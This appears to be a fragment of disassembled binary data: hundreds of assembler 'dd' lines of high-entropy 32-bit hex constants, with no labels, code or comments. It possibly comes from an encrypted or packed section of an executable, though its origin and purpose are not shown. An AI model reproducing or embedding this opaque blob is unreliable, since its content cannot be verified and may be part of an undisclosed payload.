		dd 82A95ABFh, 0FFC55708h, 0D695FABFh, 0E6696ED2h, 0C00220DCh
		dd 4128BC11h, 0F37AD82Bh, 348B9F67h, 15987DBAh,	8BC9109Dh
		dd 8ED380EEh, 97316803h, 0A5205DECh, 625A48E3h,	9E8CCBDEh
		dd 0C12D49A0h, 0A7929584h, 0CA01720h, 0F681F280h, 8941B114h
		dd 69FD1420h, 68FD85BEh, 4A5468D1h, 37BB618h, 5F325012h
		dd 0DDAF852h, 0C03C4E54h, 79A21632h, 0B9C36450h, 4362B0BEh
		dd 34B9F5A3h, 3814F1DFh, 91E85ECFh, 0C0415FA8h,	589F3839h
		dd 6F3516F3h, 1FFA0100h, 17728C05h, 4A209812h, 7866A2CDh
		dd 68B23B27h, 0B10CEDC3h, 4B5C8BA5h, 2E04DC8Dh,	800083F6h
		dd 56297632h, 1D09FE68h, 5E2374h, 0A71A6D2Ah, 1FA9F40h
		dd 31F80883h, 32E5E9FBh, 0C7F502BCh, 42DB1627h,	0A518D18Bh
		dd 0D7472056h, 404FABA2h, 271657D6h, 9588D95h, 58EDCB4h
		dd 0A43D1E58h, 8180FFE5h, 0FE6371F3h, 678BF6Ah,	4C971490h
		dd 0D31120C3h, 0FEC70C0Bh, 0CA10DDC0h, 78B58634h, 0DA2B4CFBh
		dd 885B0476h, 0FC21E9C3h, 702D00C1h, 533904Bh, 0A80604F7h
		dd 0AD015A4Dh, 3DFF9620h, 0F37AC2ACh, 79A88527h, 58540C8Bh
		dd 12133FE6h, 7A1C1A6Fh, 0C9A37796h, 0A6748416h, 0D55050FEh
		dd 6A746681h, 4FD3F450h, 0D4D2F9EFh, 330B01E5h,	0D8F777EBh
		dd 16D4C320h, 82F123Bh,	0AD28B70Eh, 48356DF4h, 42FF3E51h
		dd 0F4FEE98Fh, 69CAB7Eh, 0F8179B6Fh, 9F3E172Eh,	67DE1130h
		dd 2D006BF6h, 27DD740Eh, 0A105D829h, 0FB715B07h, 40322460h
		dd 650268EDh, 5A14513Bh, 9E77E09h, 92743012h, 1EB5074Fh
		dd 7C16D709h, 2E92AFFCh, 60BFBA5Ah, 0A9138F07h,	435F284Eh
		dd 8B0C4414h, 0D5EE755Ah, 0EDB607D2h, 5ACBE610h, 96E3F9A0h
		dd 73E60ECh, 214C4004h,	2CEB5A15h, 0C0F3AA8h, 4958C3B6h
		dd 59B96C6h, 804A922Dh,	4197AC76h, 3B452007h, 6FE1A270h
		dd 8BDF4BBDh, 83DB1E77h, 5EE73585h, 2CAEA885h, 64B53C9h
		dd 63E8DB99h, 0BD2EE135h, 83BFD630h, 0F3D6F219h, 0BE5FFB1Ch
		dd 0C866C401h, 0B26EDE01h, 0FC98D3D9h, 0C8B04A27h, 94266825h
		dd 0E6C2F71Ah, 0BFD246CDh, 0A4B13623h, 1D40B310h, 298EBEC1h
		dd 0C8D7DA5Fh, 0F5906F9h, 0E1E9BB65h, 2B92EB32h, 4B026B31h
		dd 1520A64Eh, 0D6821222h, 2B5376AEh, 0DB40D590h, 1DD35E31h
		dd 0DF0339C7h, 5F585750h, 3C396899h, 31B24E68h,	5C4884Eh
		dd 4E459C9Eh, 0B73BEFB1h, 4BF93BBAh, 0A100A4F3h, 810BFD1Dh
		dd 6517BECBh, 0B7E4596Ch, 334CF4F3h, 4B0C4917h,	0E929D988h
		dd 31FA6F2Ch, 287C116Bh, 67A07FD6h, 4E23503Ah, 8490C176h
		dd 0DBEF701h, 68E939A1h, 7F8E8D3Eh, 5C27B2DFh, 176E1C79h
		dd 0B2BB04C4h, 0F3FAC4ECh, 6641EA16h, 0F4589234h, 5D10212Ch
		dd 7B902B8h, 5D62BB17h,	0CE6CB400h, 5061E91Fh, 60F268C9h
		dd 0ABC24438h, 61C1DEF6h, 4152257Eh, 0E9692BDCh, 74106A25h
		dd 592600EEh, 5B053DDBh, 6D100945h, 0AF48F3E9h,	575C5AD1h
		dd 0D0C82FF0h, 3A0BD4Ah, 2C985D18h, 8ED0E913h, 927635CCh
		dd 0F7801E36h, 804C12A5h, 40485D49h, 368A6816h,	9A1064E3h
		dd 0D0BB2F92h, 0BEE8FF8Dh, 819D9679h, 2517675h,	66894101h
		dd 13BE00AAh, 1D373040h, 9E4FF4D8h, 0D6313B02h,	0DDFB88E9h
		dd 5059DCB8h, 20215458h, 62BA03C2h, 312C2F44h, 403CCBCCh
		dd 0AC14F28Eh, 0BBAA88Eh, 5599181Fh, 868B280h, 709D329Bh
		dd 4835EF4h, 0FE055C4Fh, 386086DAh, 142B2C09h, 0FB09C1FEh
		dd 0FDEBD4D3h, 0C5D5FB4Ah, 0BD39A8E4h, 0C14AFE59h, 61F52F8Dh
		dd 4B1F0330h, 14413086h, 5C5EA53Fh, 2F0D0F00h, 9E3811Ah
		dd 1630E6Eh, 0C278F2C0h, 64E91308h, 99D83A3Ch, 0BD80CE69h
		dd 4F6E0398h, 6E6C100h,	4D3CF681h, 11A680D2h, 73F76680h
		dd 0A9767D0h, 691CD7D7h, 0FB354A24h, 0B32ED0A1h, 30A1C0D4h
		dd 0EC586AE4h, 85466259h, 0E099FCDCh, 4CC9785Dh, 562278Ch
		dd 0DFBC5432h, 27687904h, 40DB806Dh, 5B607F61h,	580935BAh
		dd 22709F36h, 6D38609Fh, 341695D8h, 1CC2689Dh, 0CDC937Ah
		dd 0BF84B1D4h, 7EE218EAh, 90110A9Dh, 0F7B92F12h, 63A2E9A3h
		dd 0A5A3BBCEh, 7ECEACE1h, 277814A2h, 0D39847E8h, 36949405h
		dd 52655F69h, 3797402Dh, 14C9254Bh, 0A46242D9h,	435B027Dh
		dd 1AB08660h, 68330509h, 91987855h, 8147802Ch, 0D24B45C7h
		dd 27A30D50h, 0A0978000h, 55FF889h, 963766Bh, 3D6A2D64h
		dd 3B3321D0h, 0B2E5E1ADh, 5F89FDA5h, 29698D1Eh,	17A088A3h
		dd 2FF25614h, 885265h, 3644DA4h, 4A67ED81h, 13C15F5Ch
		dd 0FF601DC9h, 0FC3538CFh, 5BD92731h, 29742255h, 930D03B8h
		dd 55080F80h, 60162C4h,	0FF166804h, 0ED4077CDh,	942825h
		dd 27442D77h, 0D8F7599Eh, 0A8354000h, 54B0B1Ch,	0B5651288h
		dd 1966B8CFh, 5566CB4Ah, 0ADAA920h, 0BD42FD70h,	0DD310905h
		dd 0B514E655h, 17276E6Ch, 841B6709h, 0AA22EAE9h, 892FCBCBh
		dd 0A3C1D29Bh, 83BB2454h, 5001C727h, 0BC942004h, 0DE9FF6C6h
		dd 0CEF6A032h, 75892014h, 0EA95490Fh, 5BDE05A7h, 0A1D70EEFh
		dd 0AE02D5Ah, 0E8732679h, 204C2923h, 0A6594C0Ch, 0E9F2B096h
		dd 2501E75Bh, 16013EBDh, 0CD09F12Eh, 2BC6F94Dh,	8FBEC316h
		dd 0A28D1072h, 4900F669h, 71F8A6EAh, 0E39B3EC4h, 4A792CA4h
		dd 0A971EAA2h, 0CD3F7E10h, 0F01325A2h, 0C5BDBA57h, 0F43D34A6h
		dd 4C6BD445h, 68DC0193h, 313B0D2Ch, 2B02692Dh, 757349CEh
		dd 3A9FB0DAh, 0A56B8FE9h, 3A5C6D7h, 2B5FA3EBh, 84B52922h
		dd 5D080162h, 2F7EBB68h, 0B6C03731h, 2C423D3Ah,	5C4689D7h
		dd 52C398D5h, 903E49C2h, 0EB97A412h, 0CD014D9Fh, 4AA54079h
		dd 0BB38F30h, 3153E033h, 0AEE560C0h, 50394525h,	968026Dh
		dd 0EB01750Bh, 0E1FAD1FDh, 2FCFE2E9h, 0EE04EBF9h, 0C0472D42h
		dd 9889C62Eh, 14AA412h,	0E92000EBh, 7F95635h, 808CEF3h
		dd 4ACD1C30h, 5F320B52h, 0E5750C87h, 0F31E0B7Ah, 0AEA245D7h
		dd 58549CC1h, 21BCDEE4h, 314EB402h, 7AAFE9EFh, 8BCB265Bh
		dd 0F86F16AEh, 9677C531h, 0B7780821h, 42BA6A81h, 3B098564h
		dd 0EE77EBF0h, 0C386050h, 0FD458EDAh, 6F20DF9Ah, 0A2F080DDh
		dd 50E32767h, 0F9925654h, 0C10C61AEh, 0EBE7002h, 10245E4Ah
		dd 0C8924F9h, 45C3D510h, 60BA5F48h, 0A071295Ch,	0B20CC05Ah
		dd 0E9405546h, 0BAF2262Fh, 5E7DC8B4h, 3227C7Eh,	3A1356E2h
		dd 0CAB84278h, 1924558Dh, 0D3188926h, 0A0F5896Ah, 0E201C5D3h
		dd 0D720FFE7h, 0FEE92506h, 68438460h, 6666E225h, 12B91763h
		dd 5D130577h, 93CA676Ah, 8B6083A7h, 5E1770DCh, 5B4DF87Bh
		dd 0D175AFFBh, 7823A3BEh, 0D592C230h, 4F05BAF5h, 85C0C59Ch
		dd 0FF9AC5E1h, 0F06EC9A3h, 11FB0D00h, 3F09F281h, 34D9010h
		dd 7B4AFFEBh, 1D3A09F8h, 0AFFD5C6Bh, 0B0274B3Eh, 4F0DE9C4h
		dd 0C54FEC57h, 0E0B94C53h, 0B5700380h, 0E768D11Fh, 6A048176h
		dd 0FFC34A5Fh, 683881F0h, 668B816Bh, 0D075642Dh, 5140719Dh
		dd 0CC1B715Ch, 95E145Bh, 76074CE8h, 704605B0h, 0B16DCFE6h
		dd 884E0F30h, 17A0179Dh
		dd 4068E966h, 2908BB2Ah, 81002BB3h, 5B506FCBh, 12E3D15Ah
		dd 8C70FA68h, 79B7DFADh, 0CAB83EB6h, 734BB4Bh, 816494h
		dd 97416E9h, 0A2506058h, 492635FCh, 7B3D99Fh, 82E1C580h
		dd 0BA75E5F7h, 0F5FEC3FDh, 507F9ABFh, 8383CF09h, 0F01DBAC3h
		dd 5314929h, 2B1A8619h,	0B6B7FCDEh, 46682CC2h, 0ECB8750Fh
		dd 81829F72h, 0A00AAAD1h, 13B27ECBh, 0EC5DB314h, 514EC09Dh
		dd 5B1A62B9h, 50CEE03Ah, 5CAF183Ch, 64125AB7h, 15144AFCh
		dd 28278488h, 517D6FC2h, 2A49EB50h, 4F6C2CB6h, 473CB1ECh
		dd 2E8949A5h, 7EE282FCh, 494AD9BEh, 4E24E1DDh, 5DC28042h
		dd 580BF1D9h, 506E276Dh, 8BC2D6FEh, 0C5D9C104h,	0EA1F0E69h
		dd 9CDE429h, 0C2669624h, 4EEF1138h, 59E562FBh, 0C7751E5Ah
		dd 5DEEC9Dh, 6CF84FD5h,	99898431h, 4EB17A67h, 0B5D3F97Fh
		dd 407F2CAAh, 88F7C4A9h, 137CBBD5h, 0F8ABB029h,	0B041E840h
		dd 14B10F0Eh, 16F7646Dh, 462E0512h, 1825ED9h, 285BFD88h
		dd 0AC8270F5h, 0C29ED6B5h, 6118746Eh, 1F53B79Eh, 0E2EBD949h
		dd 3275E921h, 7FCC099h,	5CCE4D68h, 9B6F4CC6h, 432FA4B2h
		dd 3DA9F3C1h, 0C7FC9325h, 0C24A5C25h, 0CF8CC231h, 0F60481A1h
		dd 214610BDh, 0A9C0FE83h, 1F201F49h, 0DB3B16AEh, 17AD53FAh
		dd 0AC621A00h, 66BA651h, 2878204h, 18D205C8h, 7C530Ah
		dd 0BF8731C4h, 38EFA244h, 681C5CADh, 552525AAh,	46A14A96h
		dd 0D31A68D6h, 0E99A6CBEh, 0A54E324h, 7D7F5AC2h, 1901DBE4h
		dd 680AD23Bh, 0CC6A625Ch, 796276E0h, 5B13143h, 343286ADh
		dd 21FEDB5Ah, 0EC306A78h, 0A09FCDB2h, 313765F0h, 40159817h
		dd 4F0BBEE2h, 295A9E53h, 0F1625D81h, 0D49E6870h, 96E95684h
		dd 0A84ED8ECh, 60E4A744h, 55A9A90h, 0C96E0B76h,	0BD582906h
		dd 63E80883h, 4A7D1269h, 72DE828h, 685B5D05h, 8C220380h
		dd 0E359FFE5h, 0A5B03697h, 28BD965Bh, 3DA904B2h, 80506367h
		dd 8C64B7D1h, 40B8341Dh, 29740186h, 4376972Ah, 77AFB409h
		dd 0C5A47BEFh, 7D4CC610h, 0D22A1210h, 0C8673C09h, 0B5565E67h
		dd 0CE62D1DEh, 70A5E159h, 0D77E9215h, 6A0C20E1h, 3BF4B82Dh
		dd 0D94581EEh, 257D2853h, 1205735Dh, 512A703Eh,	48708968h
		dd 51927EBDh, 2133E67h,	39C0CBBEh, 257C063h, 0EE06853h
		dd 86727A75h, 0BF4BC93Ch, 0D0E90B44h, 0EEEC7FDDh, 79D8DA2Dh
		dd 66A58B16h, 6507676h,	285A81B4h, 30FFB599h, 54F0E90Fh
		dd 0CB8228B4h, 772CEF5Dh, 68386BD0h, 7230CE61h,	144BFD3Ah
		dd 0AED831DEh, 0E87B5151h, 5F0E1E8Fh, 0E8E80D92h, 2B724B05h
		dd 0C97D8068h, 5440BC51h, 2D340C5Dh, 8D0E4E4Dh,	65400B7Bh
		dd 139904C6h, 0A4216DDCh, 3C38A204h, 0EF2993D4h, 318BC3A2h
		dd 0F3AF7D70h, 0B5E3CCAFh, 44BDF5Ch, 52D84E91h,	5B0F4020h
		dd 39003B2h, 6D3A0A16h,	87C380BEh, 523F56F1h, 2C12DE5Eh
		dd 0C7FAB104h, 0D241EC1Eh, 47A6D1F5h, 0BD5954E9h, 0E63A161Ah
		dd 3094DDFEh, 8295FCFAh, 0D1C42CABh, 0BB5365DDh, 442EDBF1h
		dd 0DA25BA1h, 0E829B455h, 8B57E31Fh, 0C6319EAFh, 54F624AEh
		dd 1F025F4Ah, 48562B18h, 1D6C02EAh, 84C7810Fh, 0EB7FBE68h
		dd 739961C0h, 0C1D94A01h, 3FA112h, 4B6F685Eh, 4097CD6Ch
		dd 9E40152Dh, 0AAE9751Ch, 4951FE6Dh, 0E7A055D9h, 6DA4479Bh
		dd 562A9742h, 0A1F863A2h, 0BEE26328h, 9060A941h, 67D374F6h
		dd 0F25B49DDh, 0A277DCA6h, 0E8F9568Bh, 5F4CB3A9h, 0DC330588h
		dd 2358D1D5h, 79D5C250h, 0A25569A7h, 568BE968h,	9B83FE1h
		dd 42CC81Dh, 0A34EB168h, 2D981C6Eh, 9D20FF2Dh, 0A91072C5h
		dd 760740h, 2D219BD1h, 5C9A7B26h, 5E80114h, 49B54F07h
		dd 814557F2h, 3AF100BBh, 0E926F025h, 81069EC9h,	3D01C4C7h
		dd 5EC82033h, 65873224h, 81C683Bh, 14161C34h, 0C2F40507h
		dd 0E998550Bh, 0F213DF2Dh, 961F1A4Bh, 305F4703h, 8884B429h
		dd 0EECA0813h, 0F65728h, 11C82BC7h, 13980548h, 8712593Ah
		dd 18F94DCBh, 0CC6636A1h, 2DA8F03Ah, 0E0E8AA1Eh, 0E9DF036Fh
		dd 8AEBD428h, 202C203Fh, 915811B4h, 13A82085h, 30F2B6h
		dd 0F08850FDh, 0B8B0D0F6h, 0BF3D2ABCh, 35CA4C01h, 0E6BE11A6h
		dd 0BB22C5C3h, 59A83CAEh, 8C0ACD90h, 0E31C3B77h, 0E90D8819h
		dd 0CF7B91C5h, 6B3C102Ah, 0EEB1510Bh, 81E3518Ch, 3B69F21Ch
		dd 0BCC9635Eh, 8B3579D2h, 94D5DC61h, 0E75B300Ah, 5859EA17h
		dd 0DA49A524h, 0A9470B3Ch, 3622000Ch, 48606211h, 0EA5F7021h
		dd 0E9050541h, 4E7FA9E8h, 81676419h, 0E274B21Eh, 0F480DD0Bh
		dd 28EC0644h, 0BA525F03h, 1E3C1DBDh, 49B6F25Ah,	7C857647h
		dd 385BFE42h, 84B0F08Ch, 0A6C29585h, 0D45A7174h, 8E6861CAh
		dd 73EC630Ah, 45ECE57Ah, 0BB08C69Bh, 94853E16h,	0C34CE133h
		dd 4B76FE26h, 50CA7697h, 7FE1493Ah, 88D6F7F9h, 8F5A1359h
		dd 61B3DC46h, 75D14825h, 657B955Fh, 98B3AF10h, 0EEE9059Fh
		dd 0C443BDB5h, 0EB12AB8Ah, 0E5C05703h, 0ACC5B103h, 59CE2BF9h
		dd 0A883256Bh, 56A32779h, 605EC7B4h, 0E95114FAh, 0EB742E24h
		dd 8B6CE840h, 20B5B150h, 4B1CC008h, 5B3DD471h, 0A14467B5h
		dd 98260BA8h, 43C64857h, 9CCEB7CCh, 269A4FF6h, 56705C97h
		dd 0AE9A8071h, 506CB213h, 0C840AC0Dh, 12B5C3F4h, 0E391A3E9h
		dd 17DC05EBh, 80033A4h,	2CA70103h, 32680250h, 5855445Ch
		dd 80FECD8h, 0E3572F37h, 765DCFE9h, 0B43BFE99h,	0D168E135h
		dd 0C4822C62h, 0ED27BD2Bh, 4CA83C36h, 65441881h, 2ACCB43h
		dd 68020C2Dh, 0E9026334h, 86095DA2h, 253FC545h,	59B68027h
		dd 2F682C2Dh, 54787BAAh, 41416631h, 97890C3Dh, 60461807h
		dd 558715B6h, 46AB8B54h, 6E74091Dh, 0A8007EB4h,	313F2F53h
		dd 0E203B092h, 724D76DFh, 0D3A6C787h, 1C28C708h, 0FACD84BFh
		dd 680A73B6h, 0C288262Ch, 72F1D370h, 5FB08F46h,	5ACDAC19h
		dd 0D1B613D3h, 0D92EC01Bh, 306E205Bh, 12A12316h, 8AF50EBh
		dd 0F94A6642h, 1D378471h, 0F1BB900h, 0CF9885BCh, 4C0B852h
		dd 7B184835h, 3094D7FAh, 0AF4BD2DAh, 0F48DE913h, 67C399EAh
		dd 0E9EF058Fh, 39EAE55Dh, 0FF93B01h, 9856FB5Ah,	768FBAh
		dd 0FC90B5Ch, 9D8C2F84h, 274E5E6h, 76E289C0h, 98573345h
		dd 0FA8E1F3Ch, 0D4006DFDh, 0CF9EE950h, 5258A59Fh, 5DC62090h
		dd 0F648C48Ch, 4BDEF71Ch, 0E9C22FADh, 0FB7E3B41h, 0F9BE8FCBh
		dd 783C0927h, 51DFE29Ah, 0F659E9BAh, 3FABEB43h,	0F680B477h
		dd 0F1F480DCh, 278E4C0h, 0A8E9D413h, 5DCC7AE1h,	2BF7264Ch
		dd 0B3A7028Eh, 78FFD408h, 82E05A6Dh, 19415840h,	109C689Eh
		dd 29094C7Bh, 91FF05F8h, 172BB6B8h, 6EC1A5DBh, 55127DA2h
		dd 572CEAA8h, 5A9578D1h, 0E902C891h, 85A1EA5Bh,	54812A7Ah
		dd 0C34A9AB7h, 2F6858CCh, 0A359367Dh, 0C152D89Dh, 7CE91A60h
		dd 7064BF03h, 6E7E4412h, 1E6A4C05h, 4C96E87h, 28090E3Ah
		dd 0D9C86EC0h, 0EEEB489Fh, 663B123Dh, 5F3E80Fh,	31CD71BBh
		dd 9E288C0h, 0A0384AE5h, 2D0940F3h, 740E30DDh, 10FF0899h
		dd 3500C42Eh, 0C1160D32h, 5ADEB0E3h, 88FD0745h,	5AD121FAh
		dd 2378EC5Bh, 5326EC91h, 9C4B4301h, 0E02B593Ah,	32028B89h
		dd 0DEE909DCh, 12715FCCh, 0FDF15569h, 0B2F6841h, 4C60CC3Bh
		dd 4C46D5F5h, 8FF266A0h, 6EE95D0Bh, 602E2BD8h, 91B0C090h
		dd 0BD5A92CAh, 0ECFA10EAh, 4F36BB00h, 2A684698h, 0C8E4335Ah
		dd 8B08BCB3h, 0D75962F1h
		dd 0A717C6CFh, 0A7769828h, 0ACE90D7Dh, 11472A91h, 564E606Ch
		dd 680922A9h, 5FDC2623h, 1146F7CAh, 0CDB9025Fh,	9373E03h
		dd 7DD9A62h, 7A155D99h,	2A15B1AAh, 0BF59A98h, 739364CBh
		dd 6CACAEF7h, 773166DEh, 0CF1D30C1h, 4BCCBA0Eh,	860EB324h
		dd 0BE6C9D03h, 16E47A31h, 0AE05F775h, 7F290E88h, 0E9DA13D3h
		dd 5DA2A00Ah, 0C89D7AAEh, 95D7CB2Ah, 0A25F872Bh, 7DCAD284h
		dd 13BEFFDBh, 5AFC1D46h, 0D1050B9Eh, 1CD95C22h,	0AD42E577h
		dd 0FD2FEB5Ch, 0E924E594h, 0D18945F0h, 649203E7h, 5B743CEEh
		dd 0C70E8A4h, 87C161C5h, 0A6CCE0FDh, 0DA3EDEBFh, 53013977h
		dd 0B3432C2Bh, 19200206h, 0B60BB7BBh, 0BA92013h, 64871547h
		dd 11D696DAh, 94FCAEAh,	762BF368h, 796E6284h, 0C1DB9A57h
		dd 8C586223h, 43A12CFh,	0CBFB0D35h, 6D03310Dh, 44C325D2h
		dd 9A6F2291h, 42C0C202h, 0F7591E7Ah, 5C65C673h,	882ED589h
		dd 184050E6h, 0BD942DE9h, 37A29CE6h, 4F11F977h,	0BA2352BEh
		dd 0CAEF4161h, 51D0207Ah, 7A00B2B9h, 0F1811EB5h, 17AA3048h
		dd 0EBD9F764h, 0F6BB2C18h, 31351E5Ch, 265BC92Dh, 58B29C7Dh
		dd 631011C8h, 13EE586Dh, 67FF3EBBh, 0E9FC21D3h,	80B15003h
		dd 284A2BF6h, 63FF44BAh, 27BB10B9h, 73B84255h, 8F0649EBh
		dd 0C3174B0Ch, 8AEC2817h, 92A1FA75h, 2EBB05BBh,	145D71Bh
		dd 4E4BC48Eh, 4EC2B72h,	0D97E0841h, 6540FA17h, 49E31EFh
		dd 4238AB82h, 0EF6455D4h, 0DA53F604h, 10BB2916h, 0C610849h
		dd 0C67B2487h, 20D26C55h, 0EF83D3DCh, 8AEDBDE5h, 0CAC1A551h
		dd 9A2E0C8Bh, 0AAE90B22h, 3B971FAh, 0F366FDBBh,	3DD0BE95h
		dd 64FC0BF5h, 93DC66Eh,	0E4894049h, 227582A6h, 0F7E2CA8Eh
		dd 0B7F068C4h, 25F1DB49h, 953A08DDh, 13FBF500h,	0E6E93FFDh
		dd 5122D845h, 4595DA32h, 4AF50950h, 0D7C2675Eh,	0C2D35697h
		dd 0C55EA0FFh, 97C2CFE7h, 0F108CA93h, 13C76A05h, 9128259Fh
		dd 7FDD9B70h, 6E83543Dh, 5D0E5B67h, 19785C37h, 62438660h
		dd 11899704h, 5F9A465Eh, 0E2658286h, 215A020Fh,	49CB44FFh
		dd 0E95AE85Eh, 6B18926Fh, 17EE805Bh, 0E9A9682Ch, 0F7B68BD8h
		dd 369C75E6h, 0B5055858h, 6810CA16h, 0E9097B91h, 0E47794C3h
		dd 850B4E3Bh, 4C5FE68h,	70EA8E17h, 66A76867h, 542A46A4h
		dd 0D3F062DBh, 0CEBDCD6Fh, 90CB0BBFh, 0B5963BBEh, 0AF05C5E8h
		dd 6D1A6403h, 0B532685Dh, 525233AAh, 1B2D2ED0h,	815A4501h
		dd 357147E2h, 6107DDF6h, 8080AE42h, 898DDD93h, 728665B8h
		dd 9C82601Fh, 0E900E1A6h, 3F0E2075h, 23F95801h,	316F8C10h
		dd 26E43068h, 0FE1A330h, 3890331Dh, 0A37E5D84h,	6B25127Bh
		dd 6D9061D0h, 25327B3Fh, 0C37A0D51h, 5904580Ch,	247F4857h
		dd 15FCCB0Ah, 0AD04B1C2h, 0A851D831h, 0CAAFA46Bh, 74DD4CF5h
		dd 34402905h, 39B08BE9h, 4BE3DE5Ch, 3144C13Eh, 8B5ED9F0h
		dd 0EE61E129h, 51451564h, 0A46EAD17h, 0A0BD61D2h, 2C1EC61Dh
		dd 5A3D7BA7h, 580C0EF9h, 0B9E142C4h, 4A2F02A5h,	0F5096F90h
		dd 474D457Ah, 0EF831D19h, 5F382D3Ch, 45F60192h,	0AD54551Bh
		dd 9D0540C9h, 89EC45EEh, 409F8BDAh, 37B403EEh, 2296805h
		dd 0FC041CF3h, 0EE6AA574h, 16854CA0h, 0B102124Dh, 44A16EF5h
		dd 74CEA96Fh, 594D7EAh,	0CA98418Bh, 6D1D8119h, 0D720375Eh
		dd 0E9B80150h, 539592Ah, 67BEEC1Ah, 3D7FFEAh, 841004B8h
		dd 544C6381h, 0C10D0A67h, 10A802E3h, 79AC2DD1h,	0DD8AFF4h
		dd 2AF91490h, 0F8315B04h, 68C820BEh, 7B930E02h,	0D66B901h
		dd 7FE60F71h, 0B2013CF8h, 0E965A647h, 0EE14D20Ch, 1C50DD31h
		dd 0FEB22250h, 53F23980h, 6802CA82h, 9BCC52F7h,	6CB8D35Fh
		dd 0B6DA7D16h, 99D740D9h, 309A719Fh, 0DC6C9F90h, 7AAC3A4Ah
		dd 7020E983h, 7C0CCCBFh, 0CE0AFC12h, 0BF7612BFh, 97F94538h
		dd 0F91CDC0Bh, 0D1862295h, 0D016F569h, 761B520h, 0B779A9B9h
		dd 0AEDEA423h, 29BABE12h, 0CA633E5Dh, 0C599FD5Fh, 5642C741h
		dd 5A028E6Eh, 0A2FB0087h, 57D5F796h, 1C5AFE66h,	0E2AF5B84h
		dd 0F88AC956h, 2571996Dh, 0FD7D1FD0h, 4E26D859h, 0E4D7D6EDh
		dd 5E01AB1Eh, 62BB4DC2h, 31F85B6Bh, 0FF119FEBh,	0DFFC3EC1h
		dd 0FE0B62C5h, 78E9FD61h, 7548BD3Ch, 37F2EF02h,	2DE26D7Ah
		dd 0F5658BFDh, 0E751B839h, 2FA268FBh, 746C5DD6h, 213F1361h
		dd 2805CB0Bh, 593A0FF7h, 0B5205F5Dh, 97AB4BE9h,	0E0F64EC4h
		dd 6A04E897h, 40ECBC58h, 784A62D5h, 7E0C100h, 38660325h
		dd 72E92560h, 923D4BC5h, 0CBFE8DEEh, 0B2F47EA5h, 597048BFh
		dd 6517C93Bh, 40BDAA58h, 9008EDBFh, 7045BC3h, 9FEBC027h
		dd 0FC21F384h, 0E5DD60CEh, 0B1C567Ah, 447E6836h, 0BE25C3E6h
		dd 822324FEh, 592658FCh, 2E484385h, 6BBB1200h, 0BE361E51h
		dd 0D60BDF6Fh, 0BF1B4056h, 0B4C7D522h, 76CF312Dh, 0A717C265h
		dd 0F56253FCh, 0EA80013Fh, 0A1CEE06Ah, 875F389Ah, 245E0DA7h
		dd 88A4FB45h, 0CF5C12C0h, 7198BD7Eh, 0EB0111C2h, 2525565Dh
		dd 99620859h, 57CA937h,	0F5E025DFh, 0C1F75201h,	1CA409D3h
		dd 0ED044A7Ah, 638B4A5Dh, 0A2C587A0h, 52C2B108h, 5857A283h
		dd 26062CF7h, 0D308A7ABh, 92EB5FC0h, 95773DDh, 7F0512C8h
		dd 535034B0h, 0E5E4C09Fh, 38B8FC4Ch, 1EAFCEBFh,	0FE89ACDEh
		dd 0FD03AB05h, 0AD74918Eh, 2809525h, 9B68E2D1h,	0BB602896h
		dd 58F818DAh, 871D3079h, 9DD1AEBh, 0D0C03863h, 55603812h
		dd 58E6DA8Ah, 95317559h, 730A1490h, 73F9A3D3h, 0BED2755Ah
		dd 5850DC9Ah, 0E9DD12F6h, 0F8AA8532h, 0E668020Eh, 0D74B4F2Dh
		dd 0C0C61230h, 9629B5h,	5A5765D5h, 9230FA59h, 0EBA1FBFh
		dd 0D3BD65Bh, 600D0A24h, 0B827E996h, 49907A11h,	0B34ABDD4h
		dd 24529517h, 688273B8h, 40C4110Fh, 0BE138686h,	0BBF48A83h
		dd 27DB0928h, 0DEF36020h, 941FF68h, 0B1B57AF4h,	6F393F05h
		dd 5EC3F674h, 0B4FA311h, 844667B5h, 0F3FA3F49h,	4B683EF5h
		dd 0CDEADACh, 0E15D2C4Bh, 6DFFBEAAh, 29DA641h, 52A34505h
		dd 2CFD02D5h, 0D93102AFh, 0B139E498h, 6B14A282h, 35086C61h
		dd 64F94E42h, 95EFC487h, 40C0EDA2h, 8B82E4C5h, 0A415D419h
		dd 89FC1597h, 4FF7406Bh, 87752565h, 138869A5h, 0EC6A16C1h
		dd 84BCDDE4h, 0AC901B6Eh, 0C54117EAh, 0C6F7AE56h, 0BB454735h
		dd 0D9BBA635h, 53576085h, 0C4049B4Dh, 89A8A0D1h, 0A5DEA8A4h
		dd 68C74402h, 406177F6h, 290D89C3h, 4344FDCAh, 0A471C2Ch
		dd 3A100FACh, 6278092Dh, 2953520h, 5090B753h, 2AF041B4h
		dd 0C99454E8h, 0AFDB3062h, 80E16954h, 63541D2Eh, 0E58BA018h
		dd 9503030h, 1323340Ch,	0C11F0F7Ch, 76870E63h, 0E713E901h
		dd 0ADAA841Bh, 0A74E85B2h, 0E9BF68EEh, 21076B4Bh, 2172CD29h
		dd 4FD45EC7h, 0FC689EE5h, 0A3AEE5DBh, 10914C85h, 874E9237h
		dd 1ACD87F7h, 4E58EF5h,	0C207ED66h, 0DFE47A0Bh,	95CCF801h
		dd 53803547h, 0F416D5BBh, 4EE97E3Fh, 17089092h,	634F1B42h
		dd 5AF05E01h, 61616C5Fh, 0C044207Bh, 0E75A6AD2h, 844BCFA8h
		dd 5ECAEEB0h, 0B2655CCBh, 52190589h, 3DDA9FA0h,	92C18AF4h
		dd 9156FBFh, 93EFF03Bh,	95F6EA02h, 742298E9h, 321D622Dh
		dd 2CFE084Ah, 6641E0C4h, 6B3D1468h, 909FDA2h, 0B05F852Ch
		dd 5B46B31Ah, 41B8B428h, 4131EF41h, 0F36B9F31h,	0B4D89961h
		dd 17E3B320h, 0CDD71AE9h, 945641FEh, 329D2FD3h,	8640AE2Ah
		dd 703B1CBDh, 95DFA12Bh
		dd 0A21189E8h, 18A27591h, 6A483DE9h, 1A0FBF57h,	656E192Eh
		dd 0A15D60C7h, 0D08989D3h, 16103024h, 0EB121F4Ch, 4F073910h
		dd 0A0EF0F61h, 0F9313896h, 4E690424h, 0ECAB3301h, 2A40FEBh
		dd 424A00D5h, 0C81749E9h, 5CA73573h, 0A5E9786Ch, 50E38C4Ah
		dd 0FB96F613h, 0AAA8C229h, 59086282h, 3DD238F2h, 0E1D4ED0Bh
		dd 3EAB007Dh, 0D2113A72h, 35A380ECh, 52274337h,	0E20EC232h
		dd 5C86199Eh, 0BC5D163Eh, 0A3BAA440h, 8CFD1223h, 3E3A444h
		dd 0D56A1EAFh, 2D02B976h, 0A9A3D4B4h, 0C8EFA357h, 9D3B1C1Eh
		dd 0B7DC2DD5h, 8B315CD1h, 86DD4CE7h, 1ED00525h,	0D4AFA793h
